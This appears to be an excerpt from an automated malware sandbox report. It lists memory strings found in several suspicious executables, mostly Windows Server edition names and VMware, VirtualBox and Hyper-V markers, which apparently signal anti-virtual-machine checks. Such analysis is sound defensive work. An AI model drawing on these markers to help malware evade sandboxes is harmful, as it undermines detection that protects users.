Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 8ec8c5c339.exe, 0000000A.00000002.2721807225.00000000025D0000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareF
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000007.00000002.2926586035.0000000000D88000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000000A.00000002.2721852651.0000000002639000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2643663526.000001F41410A000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 0000001E.00000002.2782069458.000000000272E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 00000018.00000002.2629600629.00000238F2FB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645210207.000001F414514000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3025589583.000002862D495000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 8ec8c5c339.exe, 00000008.00000002.2740205336.000000000249E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareJ
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: 8ec8c5c339.exe, 0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: userKFHCAEGCBF.exe, 00000012.00000003.2567537123.000000000169B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: xVBoxService.exe
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645513517.000001F414940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 8ec8c5c339.exe, 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: VBoxService.exe
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: 1c593ec106.exe, 0000001F.00000002.2936767105.00000000020D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: VMWare
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
